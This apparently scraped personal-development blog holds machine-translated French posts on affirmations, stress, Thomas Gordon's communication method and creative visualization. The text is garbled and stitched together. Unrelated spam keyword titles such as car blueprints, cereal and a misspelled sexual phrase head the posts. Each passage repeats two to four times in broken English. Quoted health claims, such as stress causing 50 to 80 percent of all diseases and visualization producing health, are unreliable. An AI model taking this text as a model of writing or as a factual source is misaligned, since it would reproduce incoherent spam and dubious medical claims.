the street ... Everywhere ... Worldwide (Click Here)
Au naturel ... On the bright ... In action ... Unexpected ... Surprising ... Pathetic ... Happy ... Dreamer ... Observer or look sad!
Here a few clicks, an overview of the people I have crossed in recent years, from Florida, New York, New Jersey or the Caribbean, Puerto Rico, France and Switzerland!
Being Human in its natural!
Very good visit, very soon to new adventures!
Sincerely, Stephanie
Thursday, November 5, 2009
Car Blueprints For 3ds Max
the street ... Everywhere ... Worldwide (Click Here)
Au naturel ... On the bright ... In action ... Unexpected ... Surprising ... Pathetic ... Happy ... Dreamer ... Observer or look sad!
Here a few clicks, an overview of the people I have crossed in recent years, from Florida, New York, New Jersey or the Caribbean, Puerto Rico, France and Switzerland!
Being Human in its natural!
Very good visit, very soon to new adventures!
Sincerely, Stephanie
Au naturel ... On the bright ... In action ... Unexpected ... Surprising ... Pathetic ... Happy ... Dreamer ... Observer or look sad!
Here a few clicks, an overview of the people I have crossed in recent years, from Florida, New York, New Jersey or the Caribbean, Puerto Rico, France and Switzerland!
Being Human in its natural!
Very good visit, very soon to new adventures!
Sincerely, Stephanie
Sunday, October 11, 2009
Do Work Wrestling Singlet
Formulation of Affirmations: The rule of "3P" - Dr. Nathalie Campeau
"To be effective, the wording of his statements must comply with the rule of" 3P .
A statement should be: P osition, time P resent and P Personal Productivity (written in first person)
example: " it to me now nice and easy to get up at 5 am to write, and I do it with enthusiasm. "
This formulation is much more efficient to make the desired change that "Now I'm not lazy or " It is more difficult to get up early ".
"Boost your energy with the energy of the Heart" - Dr. Nathalie Campeau (Edit Enegier Heart Productions, Inc.).
To buy the book : http://www.energieducoeur.com/livre_energie_du_coeur . html
"To be effective, the wording of his statements must comply with the rule of" 3P .
A statement should be: P osition, time P resent and P Personal Productivity (written in first person)
example: " it to me now nice and easy to get up at 5 am to write, and I do it with enthusiasm. "
This formulation is much more efficient to make the desired change that "Now I'm not lazy or " It is more difficult to get up early ".
"Boost your energy with the energy of the Heart" - Dr. Nathalie Campeau (Edit Enegier Heart Productions, Inc.).
To buy the book : http://www.energieducoeur.com/livre_energie_du_coeur . html
Do Work Wrestling Singlet
Formulation of Affirmations: The rule of "3P" - Dr. Nathalie Campeau
"To be effective, the wording of his statements must comply with the rule of" 3P .
A statement should be: P osition, time P resent and P Personal Productivity (written in first person)
example: " it to me now nice and easy to get up at 5 am to write, and I do it with enthusiasm. "
This formulation is much more efficient to make the desired change that "Now I'm not lazy or " It is more difficult to get up early ".
"Boost your energy with the energy of the Heart" - Dr. Nathalie Campeau (Edit Enegier Heart Productions, Inc.).
To buy the book : http://www.energieducoeur.com/livre_energie_du_coeur . html
"To be effective, the wording of his statements must comply with the rule of" 3P .
A statement should be: P osition, time P resent and P Personal Productivity (written in first person)
example: " it to me now nice and easy to get up at 5 am to write, and I do it with enthusiasm. "
This formulation is much more efficient to make the desired change that "Now I'm not lazy or " It is more difficult to get up early ".
"Boost your energy with the energy of the Heart" - Dr. Nathalie Campeau (Edit Enegier Heart Productions, Inc.).
To buy the book : http://www.energieducoeur.com/livre_energie_du_coeur . html
Friday, October 2, 2009
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Turn stress into vitality! Annie Ollivier
"To understand the multiple forces mental, emotional and physical impact on our health and wellbeing, we must learn to feel our body, our muscles, our organs, our bones, our tissues more impartial. We must learn to take "snapshots Sensory our internal bodily functions. In doing so, we can observe the different habits of our structure psychophysical and physiological principles that give power to these habits affect our health. This is important since it is estimated that stress-related problems have nowadays - directly or indirectly - for 50 to 80% of all diseases: chronic colds, hypertension, heart disease, ulcers, irritable bowel syndrome, depression, arthritis, insomnia, certain types of cancer and many other conditions.
Stress undermines our health in others by increasing the production of cortisol, which is suppressing the immune system. A study whose results were published in early 1990 in the New England Journal of Medicine shows, for example for healthy people who were given nose drops containing cold viruses directly reacted according to their level of emotional stress. Other studies have shown that stress - as well as fear and anxiety often associated with it - could worsen autoimmune diseases like multiple sclerosis and rheumatoid arthritis. By learning to feel inside, we come to understand that stress is not always the one in question - some degree of stress can actually be beneficial to our health - but it is rather the usual ways in which we respond stress that are. This is where our emotions play a major role. [...]" Annie Ollivier
To read this article : http://chikungminceur.over-blog.com/article-35798579.html
o Emotions and the autonomic nervous system
o The so-called negative emotions have a certain value
o How to start the parasympathetic nervous system
o Adapting to the effects of stress is not a solution
"To understand the multiple forces mental, emotional and physical impact on our health and wellbeing, we must learn to feel our body, our muscles, our organs, our bones, our tissues more impartial. We must learn to take "snapshots Sensory our internal bodily functions. In doing so, we can observe the different habits of our structure psychophysical and physiological principles that give power to these habits affect our health. This is important since it is estimated that stress-related problems have nowadays - directly or indirectly - for 50 to 80% of all diseases: chronic colds, hypertension, heart disease, ulcers, irritable bowel syndrome, depression, arthritis, insomnia, certain types of cancer and many other conditions.
Stress undermines our health in others by increasing the production of cortisol, which is suppressing the immune system. A study whose results were published in early 1990 in the New England Journal of Medicine shows, for example for healthy people who were given nose drops containing cold viruses directly reacted according to their level of emotional stress. Other studies have shown that stress - as well as fear and anxiety often associated with it - could worsen autoimmune diseases like multiple sclerosis and rheumatoid arthritis. By learning to feel inside, we come to understand that stress is not always the one in question - some degree of stress can actually be beneficial to our health - but it is rather the usual ways in which we respond stress that are. This is where our emotions play a major role. [...]" Annie Ollivier
To read this article : http://chikungminceur.over-blog.com/article-35798579.html
o Emotions and the autonomic nervous system
o The so-called negative emotions have a certain value
o How to start the parasympathetic nervous system
o Adapting to the effects of stress is not a solution
Best Travellingcamera Bag
Turn stress into vitality! Annie Ollivier
"To understand the multiple forces mental, emotional and physical impact on our health and wellbeing, we must learn to feel our body, our muscles, our organs, our bones, our tissues more impartial. We must learn to take "snapshots Sensory our internal bodily functions. In doing so, we can observe the different habits of our structure psychophysical and physiological principles that give power to these habits affect our health. This is important since it is estimated that stress-related problems have nowadays - directly or indirectly - for 50 to 80% of all diseases: chronic colds, hypertension, heart disease, ulcers, irritable bowel syndrome, depression, arthritis, insomnia, certain types of cancer and many other conditions.
Stress undermines our health in others by increasing the production of cortisol, which is suppressing the immune system. A study whose results were published in early 1990 in the New England Journal of Medicine shows, for example for healthy people who were given nose drops containing cold viruses directly reacted according to their level of emotional stress. Other studies have shown that stress - as well as fear and anxiety often associated with it - could worsen autoimmune diseases like multiple sclerosis and rheumatoid arthritis. By learning to feel inside, we come to understand that stress is not always the one in question - some degree of stress can actually be beneficial to our health - but it is rather the usual ways in which we respond stress that are. This is where our emotions play a major role. [...]" Annie Ollivier
To read this article : http://chikungminceur.over-blog.com/article-35798579.html
o Emotions and the autonomic nervous system
o The so-called negative emotions have a certain value
o How to start the parasympathetic nervous system
o Adapting to the effects of stress is not a solution
"To understand the multiple forces mental, emotional and physical impact on our health and wellbeing, we must learn to feel our body, our muscles, our organs, our bones, our tissues more impartial. We must learn to take "snapshots Sensory our internal bodily functions. In doing so, we can observe the different habits of our structure psychophysical and physiological principles that give power to these habits affect our health. This is important since it is estimated that stress-related problems have nowadays - directly or indirectly - for 50 to 80% of all diseases: chronic colds, hypertension, heart disease, ulcers, irritable bowel syndrome, depression, arthritis, insomnia, certain types of cancer and many other conditions.
Stress undermines our health in others by increasing the production of cortisol, which is suppressing the immune system. A study whose results were published in early 1990 in the New England Journal of Medicine shows, for example for healthy people who were given nose drops containing cold viruses directly reacted according to their level of emotional stress. Other studies have shown that stress - as well as fear and anxiety often associated with it - could worsen autoimmune diseases like multiple sclerosis and rheumatoid arthritis. By learning to feel inside, we come to understand that stress is not always the one in question - some degree of stress can actually be beneficial to our health - but it is rather the usual ways in which we respond stress that are. This is where our emotions play a major role. [...]" Annie Ollivier
To read this article : http://chikungminceur.over-blog.com/article-35798579.html
o Emotions and the autonomic nervous system
o The so-called negative emotions have a certain value
o How to start the parasympathetic nervous system
o Adapting to the effects of stress is not a solution
Monday, September 28, 2009
Best Private Dorms Ut Austin
Problem Solving 6-stage - Gordon Thomas Gordon
Through its book - "Educating without punishment: children learn autodiscipiline" - Thomas Gordon stands by its method of problem solving, but also the fact that we can help and guide anyone to adopt it, keeping the schematic memory and associating it with "active listening .
This method is recommended for those, who face a problem to them: "it is staff (what I really want in life? ) , family (what rules we should follow to watch TV?) or parent-child conflict (your son wants to buy a motorcycle, but you object strongly because of the dangers that entails) "
For yourself or as a group, consciously or unconsciously, the process of problem solving is frequently 6 steps :
Step : Identify and define the problem (adopting the "I-message" or active listening)
Step : List of possible solutions
Step: Evaluate solutions
Step Four: Select a solution
Step Five: Apply the solution
Step Six : To evaluate the results
Note .. . as stresses rightly Thomas Gordon in his book "all problems are not resolved in a manner as ordered. Often a person has a solution so awesome the second stage it overshadows all others and shortens significantly the evaluation stage. Sometimes people can not agree on a solution must return to the second step to devise new , or to the first to redefine the problem. "
Who is Thomas Gordon? http://fr.wikipedia.org/wiki/Thomas_Gordon
Gordon Training International : http://www.gordontraining.com
The method Gordon : http://www .communicationorale.com / gordon.htmhttp: / / fr.wikipedia.org / wiki / Thomas_Gordon
Through its book - "Educating without punishment: children learn autodiscipiline" - Thomas Gordon stands by its method of problem solving, but also the fact that we can help and guide anyone to adopt it, keeping the schematic memory and associating it with "active listening .
This method is recommended for those, who face a problem to them: "it is staff (what I really want in life? ) , family (what rules we should follow to watch TV?) or parent-child conflict (your son wants to buy a motorcycle, but you object strongly because of the dangers that entails) "
For yourself or as a group, consciously or unconsciously, the process of problem solving is frequently 6 steps :
Step : Identify and define the problem (adopting the "I-message" or active listening)
Step : List of possible solutions
Step: Evaluate solutions
Step Four: Select a solution
Step Five: Apply the solution
Step Six : To evaluate the results
Note .. . as stresses rightly Thomas Gordon in his book "all problems are not resolved in a manner as ordered. Often a person has a solution so awesome the second stage it overshadows all others and shortens significantly the evaluation stage. Sometimes people can not agree on a solution must return to the second step to devise new , or to the first to redefine the problem. "
Who is Thomas Gordon? http://fr.wikipedia.org/wiki/Thomas_Gordon
Gordon Training International : http://www.gordontraining.com
The method Gordon : http://www .communicationorale.com / gordon.htmhttp: / / fr.wikipedia.org / wiki / Thomas_Gordon
Best Private Dorms Ut Austin
Problem Solving 6-stage - Gordon Thomas Gordon
Through its book - "Educating without punishment: children learn autodiscipiline" - Thomas Gordon stands by its method of problem solving, but also the fact that we can help and guide anyone to adopt it, keeping the schematic memory and associating it with "active listening .
This method is recommended for those, who face a problem to them: "it is staff (what I really want in life? ) , family (what rules we should follow to watch TV?) or parent-child conflict (your son wants to buy a motorcycle, but you object strongly because of the dangers that entails) "
For yourself or as a group, consciously or unconsciously, the process of problem solving is frequently 6 steps :
Step : Identify and define the problem (adopting the "I-message" or active listening)
Step : List of possible solutions
Step: Evaluate solutions
Step Four: Select a solution
Step Five: Apply the solution
Step Six : To evaluate the results
Note .. . as stresses rightly Thomas Gordon in his book "all problems are not resolved in a manner as ordered. Often a person has a solution so awesome the second stage it overshadows all others and shortens significantly the evaluation stage. Sometimes people can not agree on a solution must return to the second step to devise new , or to the first to redefine the problem. "
Who is Thomas Gordon? http://fr.wikipedia.org/wiki/Thomas_Gordon
Gordon Training International : http://www.gordontraining.com
The method Gordon : http://www .communicationorale.com / gordon.htmhttp: / / fr.wikipedia.org / wiki / Thomas_Gordon
Through its book - "Educating without punishment: children learn autodiscipiline" - Thomas Gordon stands by its method of problem solving, but also the fact that we can help and guide anyone to adopt it, keeping the schematic memory and associating it with "active listening .
This method is recommended for those, who face a problem to them: "it is staff (what I really want in life? ) , family (what rules we should follow to watch TV?) or parent-child conflict (your son wants to buy a motorcycle, but you object strongly because of the dangers that entails) "
For yourself or as a group, consciously or unconsciously, the process of problem solving is frequently 6 steps :
Step : Identify and define the problem (adopting the "I-message" or active listening)
Step : List of possible solutions
Step: Evaluate solutions
Step Four: Select a solution
Step Five: Apply the solution
Step Six : To evaluate the results
Note .. . as stresses rightly Thomas Gordon in his book "all problems are not resolved in a manner as ordered. Often a person has a solution so awesome the second stage it overshadows all others and shortens significantly the evaluation stage. Sometimes people can not agree on a solution must return to the second step to devise new , or to the first to redefine the problem. "
Who is Thomas Gordon? http://fr.wikipedia.org/wiki/Thomas_Gordon
Gordon Training International : http://www.gordontraining.com
The method Gordon : http://www .communicationorale.com / gordon.htmhttp: / / fr.wikipedia.org / wiki / Thomas_Gordon
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Method
The method Gordon is very well explained through this site: http://www.communicationorale.com/gordon.htm
Here are the contents, it below ...
"Developed by Dr. Thomas Gordon, the United States in the 1950s, this approach is reflected in the approach of the so-called non-violent communication (NVC), and may reference to the needs of Maslow.
abstract concept
The method is based on a simple premise: that of "mutual satisfaction of needs." Indeed, if I have a problem I can not express, or the other to a non-expressed problem, or I do not listen, we can not have true communication.
The principle will be
To initiate the confrontation needs. Needs can be factual or emotional.
Avoid "messages at risk" who are twelve types: order, threat, moral sermons, advice, criticism, flattery and appeasement, analysis, trial, question and irony.
Tools method
1 / The "I-message"
This to assume things and do more to bring to the other the sole responsibility of a problem.
We an unfortunate tendency to use the "message" You "or" message "You." These formulations can be felt very bad and worsening the situation. Eg "You should not do like that! "" You should know that ... "etc..
The effective message is one that says "I", which describes our feelings to each other. Process: to share the facts, then tell me how this is a problem. Ex: "The report was not delivered on time, I'm angry. "Rather than" You have not done so decidedly you annoy me! "
2 / Active listening
The concept is that it's best to put the conflict in the needs that person level. That approach "win-win" or "win-win.
Practise listening "active" is to hear and recognize the feelings and needs of others, and reformulate it.
Ex: "I see that you are anger. "Rather than" Stop your nerves. .
It is accepting the other and recognize it in its entirety. "
Stage Inter and Intra firm : http://www.communicationorale.com/stage.htm
Pygmalion Communication: an original program : http://www.pygmalioncommunication.com
Blog Pygmalion Communication : http://www.blogpygmalion.com/communication-orale/
The method Gordon is very well explained through this site: http://www.communicationorale.com/gordon.htm
Here are the contents, it below ...
"Developed by Dr. Thomas Gordon, the United States in the 1950s, this approach is reflected in the approach of the so-called non-violent communication (NVC), and may reference to the needs of Maslow.
abstract concept
The method is based on a simple premise: that of "mutual satisfaction of needs." Indeed, if I have a problem I can not express, or the other to a non-expressed problem, or I do not listen, we can not have true communication.
The principle will be
To initiate the confrontation needs. Needs can be factual or emotional.
Avoid "messages at risk" who are twelve types: order, threat, moral sermons, advice, criticism, flattery and appeasement, analysis, trial, question and irony.
Tools method
1 / The "I-message"
This to assume things and do more to bring to the other the sole responsibility of a problem.
We an unfortunate tendency to use the "message" You "or" message "You." These formulations can be felt very bad and worsening the situation. Eg "You should not do like that! "" You should know that ... "etc..
The effective message is one that says "I", which describes our feelings to each other. Process: to share the facts, then tell me how this is a problem. Ex: "The report was not delivered on time, I'm angry. "Rather than" You have not done so decidedly you annoy me! "
2 / Active listening
The concept is that it's best to put the conflict in the needs that person level. That approach "win-win" or "win-win.
Practise listening "active" is to hear and recognize the feelings and needs of others, and reformulate it.
Ex: "I see that you are anger. "Rather than" Stop your nerves. .
It is accepting the other and recognize it in its entirety. "
Stage Inter and Intra firm : http://www.communicationorale.com/stage.htm
Pygmalion Communication: an original program : http://www.pygmalioncommunication.com
Blog Pygmalion Communication : http://www.blogpygmalion.com/communication-orale/
Scholl Shoe Singapore Offer
Method
The method Gordon is very well explained through this site: http://www.communicationorale.com/gordon.htm
Here are the contents, it below ...
"Developed by Dr. Thomas Gordon, the United States in the 1950s, this approach is reflected in the approach of the so-called non-violent communication (NVC), and may reference to the needs of Maslow.
abstract concept
The method is based on a simple premise: that of "mutual satisfaction of needs." Indeed, if I have a problem I can not express, or the other to a non-expressed problem, or I do not listen, we can not have true communication.
The principle will be
To initiate the confrontation needs. Needs can be factual or emotional.
Avoid "messages at risk" who are twelve types: order, threat, moral sermons, advice, criticism, flattery and appeasement, analysis, trial, question and irony.
Tools method
1 / The "I-message"
This to assume things and do more to bring to the other the sole responsibility of a problem.
We an unfortunate tendency to use the "message" You "or" message "You." These formulations can be felt very bad and worsening the situation. Eg "You should not do like that! "" You should know that ... "etc..
The effective message is one that says "I", which describes our feelings to each other. Process: to share the facts, then tell me how this is a problem. Ex: "The report was not delivered on time, I'm angry. "Rather than" You have not done so decidedly you annoy me! "
2 / Active listening
The concept is that it's best to put the conflict in the needs that person level. That approach "win-win" or "win-win.
Practise listening "active" is to hear and recognize the feelings and needs of others, and reformulate it.
Ex: "I see that you are anger. "Rather than" Stop your nerves. .
It is accepting the other and recognize it in its entirety. "
Stage Inter and Intra firm : http://www.communicationorale.com/stage.htm
Pygmalion Communication: an original program : http://www.pygmalioncommunication.com
Blog Pygmalion Communication : http://www.blogpygmalion.com/communication-orale/
The method Gordon is very well explained through this site: http://www.communicationorale.com/gordon.htm
Here are the contents, it below ...
"Developed by Dr. Thomas Gordon, the United States in the 1950s, this approach is reflected in the approach of the so-called non-violent communication (NVC), and may reference to the needs of Maslow.
abstract concept
The method is based on a simple premise: that of "mutual satisfaction of needs." Indeed, if I have a problem I can not express, or the other to a non-expressed problem, or I do not listen, we can not have true communication.
The principle will be
To initiate the confrontation needs. Needs can be factual or emotional.
Avoid "messages at risk" who are twelve types: order, threat, moral sermons, advice, criticism, flattery and appeasement, analysis, trial, question and irony.
Tools method
1 / The "I-message"
This to assume things and do more to bring to the other the sole responsibility of a problem.
We an unfortunate tendency to use the "message" You "or" message "You." These formulations can be felt very bad and worsening the situation. Eg "You should not do like that! "" You should know that ... "etc..
The effective message is one that says "I", which describes our feelings to each other. Process: to share the facts, then tell me how this is a problem. Ex: "The report was not delivered on time, I'm angry. "Rather than" You have not done so decidedly you annoy me! "
2 / Active listening
The concept is that it's best to put the conflict in the needs that person level. That approach "win-win" or "win-win.
Practise listening "active" is to hear and recognize the feelings and needs of others, and reformulate it.
Ex: "I see that you are anger. "Rather than" Stop your nerves. .
It is accepting the other and recognize it in its entirety. "
Stage Inter and Intra firm : http://www.communicationorale.com/stage.htm
Pygmalion Communication: an original program : http://www.pygmalioncommunication.com
Blog Pygmalion Communication : http://www.blogpygmalion.com/communication-orale/
Tuesday, September 15, 2009
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If conflicts value ... Evidence
(Educating without punishing: learn autodiscipiline children - Dr. Thomas Gordon)
One option is to accept the fact that the person who you talk to or explain your views - and your value - was also own these values ... surely different from yours and you do not change it!
''The courage to change what I can change.
The serenity to accept what I can not change.
And the wisdom to know the difference.''
(Educating without punishing: learn autodiscipiline children - Dr. Thomas Gordon)
Black Licorice Hair Dye From Garnier
If conflicts value ... Evidence
(Educating without punishing: learn autodiscipiline children - Dr. Thomas Gordon)
One option is to accept the fact that the person who you talk to or explain your views - and your value - was also own these values ... surely different from yours and you do not change it!
''The courage to change what I can change.
The serenity to accept what I can not change.
And the wisdom to know the difference.''
(Educating without punishing: learn autodiscipiline children - Dr. Thomas Gordon)
Tuesday, August 25, 2009
Methods Of Masterbaition
"Try ... you'll see ".
Stephanie is, in this approach Coaching related to welfare, an accompanist quality coupled with a high level of play.
His voice relaxing and energizing at the same time allowed me, during each session , find all the resources necessary to achieve my goals .
I can only recommend you.
Reference drafted by: Alain BOUSSEAU
Methods Of Masterbaition
"Try ... you'll see ".
Stephanie is, in this approach Coaching related to welfare, an accompanist quality coupled with a high level of play.
His voice relaxing and energizing at the same time allowed me, during each session , find all the resources necessary to achieve my goals .
I can only recommend you.
Reference drafted by: Alain BOUSSEAU
Thursday, June 18, 2009
Kashi Cereal In Sydney
You ... Your Life! Time and Meditation
" You are the creator of your life every moment!
Through your thoughts, your actions and your words ... You decide and you write constantly, each day on a new page, the content and conduct of your day, time and your life ... ... that you want to see happen! "
To customize ... I suggest you replace ''You''by ''I'' and the names possessive !
I am the creator / designer of m has Life at every moment!
Through my thoughts, my my actions and sayings ... I determines and j ' write constantly, every day a new page, the content and conduct of my day, the moment ... and my life ... that I want to see happen!
V ou are the writer, composer, conductor ... Your Life!
Yours ... And beautiful day!
Stephanie
" You are the creator of your life every moment!
Through your thoughts, your actions and your words ... You decide and you write constantly, each day on a new page, the content and conduct of your day, time and your life ... ... that you want to see happen! "
To customize ... I suggest you replace ''You''by ''I'' and the names possessive !
I am the creator / designer of m has Life at every moment!
Through my thoughts, my my actions and sayings ... I determines and j ' write constantly, every day a new page, the content and conduct of my day, the moment ... and my life ... that I want to see happen!
V ou are the writer, composer, conductor ... Your Life!
Yours ... And beautiful day!
Stephanie
Kashi Cereal In Sydney
You ... Your Life! Time and Meditation
" You are the creator of your life every moment!
Through your thoughts, your actions and your words ... You decide and you write constantly, each day on a new page, the content and conduct of your day, time and your life ... ... that you want to see happen! "
To customize ... I suggest you replace ''You''by ''I'' and the names possessive !
I am the creator / designer of m has Life at every moment!
Through my thoughts, my my actions and sayings ... I determines and j ' write constantly, every day a new page, the content and conduct of my day, the moment ... and my life ... that I want to see happen!
V ou are the writer, composer, conductor ... Your Life!
Yours ... And beautiful day!
Stephanie
" You are the creator of your life every moment!
Through your thoughts, your actions and your words ... You decide and you write constantly, each day on a new page, the content and conduct of your day, time and your life ... ... that you want to see happen! "
To customize ... I suggest you replace ''You''by ''I'' and the names possessive !
I am the creator / designer of m has Life at every moment!
Through my thoughts, my my actions and sayings ... I determines and j ' write constantly, every day a new page, the content and conduct of my day, the moment ... and my life ... that I want to see happen!
V ou are the writer, composer, conductor ... Your Life!
Yours ... And beautiful day!
Stephanie
Sunday, June 14, 2009
Saturday, June 13, 2009
You Make Me Smile Wherever You Go
"Time and meditation are helpful to anyone who wants to succeed." (Author unknown)
You Make Me Smile Wherever You Go
"Time and meditation are helpful to anyone who wants to succeed." (Author unknown)
Thursday, June 11, 2009
1980s Hiking Boots With Red Laces
What do you Creative Visualization?
creative visualization is the technique that uses the imagination to realize his wishes. It is nothing new, unusual or strange because every day, every moment, you use it. It is the natural power of imagination, the fundamental creative energy of the universe which you use constantly, whether conscious or not.
In the past, many of us have used their power of creative visualization in a relatively unconscious. Our negative thoughts about life, deeply rooted, we have to wait and think, unconsciously and automatically, gaps, limitations, difficulties and other problems as our lot in the fifth. In fact, we have more or less created ourselves from scratch. [...]
creative visualization opens the doors of generosity and abundance of natural life. Imagination is your ability to create in your mind an idea or mental image [...] allowing you to create an accurate picture what you want to see happen, then wear your regular attention to this image or idea, giving it positive energy until it becomes an objective reality ... In other words, until you accomplish what you actually viewed.
creative visualization is to solve our internal blockages, barriers to natural harmony and self-realization, and allow everyone to update the best of himself.
The practice of creative visualization requires no metaphysical or spiritual belief, even if you have accept the idea of considering concepts as possible. There is no need to "have faith" in any power outside yourself.
Just want to enrich your knowledge and experiences and have an open mind permattant be willing to try a new practice. [...]
("creative-visualization techniques," Shakti Gawain-)
To buy the book
http://www.amazon.fr/Techniques-visualisation-créatrice-Shakti-Gawain/ dp/229033992X
To learn a bit more:
http://fr.wikipedia.org/wiki/Créativité
http://www.fruitymag.com/pourquoi-visualisation-s37903.htm
http://isablog.wordpress.com/2008/04/25/la-puissance-de-la-visualisation-creatrice/
creative visualization is the technique that uses the imagination to realize his wishes. It is nothing new, unusual or strange because every day, every moment, you use it. It is the natural power of imagination, the fundamental creative energy of the universe which you use constantly, whether conscious or not.
In the past, many of us have used their power of creative visualization in a relatively unconscious. Our negative thoughts about life, deeply rooted, we have to wait and think, unconsciously and automatically, gaps, limitations, difficulties and other problems as our lot in the fifth. In fact, we have more or less created ourselves from scratch. [...]
creative visualization opens the doors of generosity and abundance of natural life. Imagination is your ability to create in your mind an idea or mental image [...] allowing you to create an accurate picture what you want to see happen, then wear your regular attention to this image or idea, giving it positive energy until it becomes an objective reality ... In other words, until you accomplish what you actually viewed.
creative visualization is to solve our internal blockages, barriers to natural harmony and self-realization, and allow everyone to update the best of himself.
The practice of creative visualization requires no metaphysical or spiritual belief, even if you have accept the idea of considering concepts as possible. There is no need to "have faith" in any power outside yourself.
Just want to enrich your knowledge and experiences and have an open mind permattant be willing to try a new practice. [...]
("creative-visualization techniques," Shakti Gawain-)
To buy the book
http://www.amazon.fr/Techniques-visualisation-créatrice-Shakti-Gawain/ dp/229033992X
To learn a bit more:
http://fr.wikipedia.org/wiki/Créativité
http://www.fruitymag.com/pourquoi-visualisation-s37903.htm
http://isablog.wordpress.com/2008/04/25/la-puissance-de-la-visualisation-creatrice/
1980s Hiking Boots With Red Laces
What do you Creative Visualization?
creative visualization is the technique that uses the imagination to realize his wishes. It is nothing new, unusual or strange because every day, every moment, you use it. It is the natural power of imagination, the fundamental creative energy of the universe which you use constantly, whether conscious or not.
In the past, many of us have used their power of creative visualization in a relatively unconscious. Our negative thoughts about life, deeply rooted, we have to wait and think, unconsciously and automatically, gaps, limitations, difficulties and other problems as our lot in the fifth. In fact, we have more or less created ourselves from scratch. [...]
creative visualization opens the doors of generosity and abundance of natural life. Imagination is your ability to create in your mind an idea or mental image [...] allowing you to create an accurate picture what you want to see happen, then wear your regular attention to this image or idea, giving it positive energy until it becomes an objective reality ... In other words, until you accomplish what you actually viewed.
creative visualization is to solve our internal blockages, barriers to natural harmony and self-realization, and allow everyone to update the best of himself.
The practice of creative visualization requires no metaphysical or spiritual belief, even if you have accept the idea of considering concepts as possible. There is no need to "have faith" in any power outside yourself.
Just want to enrich your knowledge and experiences and have an open mind permattant be willing to try a new practice. [...]
("creative-visualization techniques," Shakti Gawain-)
To buy the book
http://www.amazon.fr/Techniques-visualisation-créatrice-Shakti-Gawain/ dp/229033992X
To learn a bit more:
http://fr.wikipedia.org/wiki/Créativité
http://www.fruitymag.com/pourquoi-visualisation-s37903.htm
http://isablog.wordpress.com/2008/04/25/la-puissance-de-la-visualisation-creatrice/
creative visualization is the technique that uses the imagination to realize his wishes. It is nothing new, unusual or strange because every day, every moment, you use it. It is the natural power of imagination, the fundamental creative energy of the universe which you use constantly, whether conscious or not.
In the past, many of us have used their power of creative visualization in a relatively unconscious. Our negative thoughts about life, deeply rooted, we have to wait and think, unconsciously and automatically, gaps, limitations, difficulties and other problems as our lot in the fifth. In fact, we have more or less created ourselves from scratch. [...]
creative visualization opens the doors of generosity and abundance of natural life. Imagination is your ability to create in your mind an idea or mental image [...] allowing you to create an accurate picture what you want to see happen, then wear your regular attention to this image or idea, giving it positive energy until it becomes an objective reality ... In other words, until you accomplish what you actually viewed.
creative visualization is to solve our internal blockages, barriers to natural harmony and self-realization, and allow everyone to update the best of himself.
The practice of creative visualization requires no metaphysical or spiritual belief, even if you have accept the idea of considering concepts as possible. There is no need to "have faith" in any power outside yourself.
Just want to enrich your knowledge and experiences and have an open mind permattant be willing to try a new practice. [...]
("creative-visualization techniques," Shakti Gawain-)
To buy the book
http://www.amazon.fr/Techniques-visualisation-créatrice-Shakti-Gawain/ dp/229033992X
To learn a bit more:
http://fr.wikipedia.org/wiki/Créativité
http://www.fruitymag.com/pourquoi-visualisation-s37903.htm
http://isablog.wordpress.com/2008/04/25/la-puissance-de-la-visualisation-creatrice/
Clever Healthy Living Slogans
creative visualization ... Introduction!
Edward Bach, English homeopathic physician, wrote "any illness is the result of influences that we have suffered" .
Our body was built by nature to function properly and regenerate constantly. Education and social constraints we learn to live against nature, to do violence to our bodies to obey the ideas and not to follow the advice we lavish our instinct and intuition. We live in a way that causes health problems and diseases. To deliver us
habits that plague our lives, take responsibility for our education and gradually find harmony with ourselves and with nature, without which health can not exist.
By learning to create images, we give the opportunity to our deepest desires to manifest themselves gradually into our lives. To live an experience, it must first "dream". For visualization we develop our creative power and discover that we can consciously choose what we want to live. Rather than face situations where we depend on others, or our conditionings, we become the architects of each moment, the creators of our daily reality.
Rather than wait for improving the world around you, turn your way of thinking, visualizing increasing health, vitality and joie de vivre. You will discover with pleasure that "happiness, such as health can be learned!
Introduction of the book "Techniques of Creative Visualisation - The Power of Thought" by Shakti Gawain (Secret Edition Adventure)
Edward Bach, English homeopathic physician, wrote "any illness is the result of influences that we have suffered" .
Our body was built by nature to function properly and regenerate constantly. Education and social constraints we learn to live against nature, to do violence to our bodies to obey the ideas and not to follow the advice we lavish our instinct and intuition. We live in a way that causes health problems and diseases. To deliver us
habits that plague our lives, take responsibility for our education and gradually find harmony with ourselves and with nature, without which health can not exist.
By learning to create images, we give the opportunity to our deepest desires to manifest themselves gradually into our lives. To live an experience, it must first "dream". For visualization we develop our creative power and discover that we can consciously choose what we want to live. Rather than face situations where we depend on others, or our conditionings, we become the architects of each moment, the creators of our daily reality.
Rather than wait for improving the world around you, turn your way of thinking, visualizing increasing health, vitality and joie de vivre. You will discover with pleasure that "happiness, such as health can be learned!
Introduction of the book "Techniques of Creative Visualisation - The Power of Thought" by Shakti Gawain (Secret Edition Adventure)
Clever Healthy Living Slogans
creative visualization ... Introduction!
Edward Bach, English homeopathic physician, wrote "any illness is the result of influences that we have suffered" .
Our body was built by nature to function properly and regenerate constantly. Education and social constraints we learn to live against nature, to do violence to our bodies to obey the ideas and not to follow the advice we lavish our instinct and intuition. We live in a way that causes health problems and diseases. To deliver us
habits that plague our lives, take responsibility for our education and gradually find harmony with ourselves and with nature, without which health can not exist.
By learning to create images, we give the opportunity to our deepest desires to manifest themselves gradually into our lives. To live an experience, it must first "dream". For visualization we develop our creative power and discover that we can consciously choose what we want to live. Rather than face situations where we depend on others, or our conditionings, we become the architects of each moment, the creators of our daily reality.
Rather than wait for improving the world around you, turn your way of thinking, visualizing increasing health, vitality and joie de vivre. You will discover with pleasure that "happiness, such as health can be learned!
Introduction of the book "Techniques of Creative Visualisation - The Power of Thought" by Shakti Gawain (Secret Edition Adventure)
Edward Bach, English homeopathic physician, wrote "any illness is the result of influences that we have suffered" .
Our body was built by nature to function properly and regenerate constantly. Education and social constraints we learn to live against nature, to do violence to our bodies to obey the ideas and not to follow the advice we lavish our instinct and intuition. We live in a way that causes health problems and diseases. To deliver us
habits that plague our lives, take responsibility for our education and gradually find harmony with ourselves and with nature, without which health can not exist.
By learning to create images, we give the opportunity to our deepest desires to manifest themselves gradually into our lives. To live an experience, it must first "dream". For visualization we develop our creative power and discover that we can consciously choose what we want to live. Rather than face situations where we depend on others, or our conditionings, we become the architects of each moment, the creators of our daily reality.
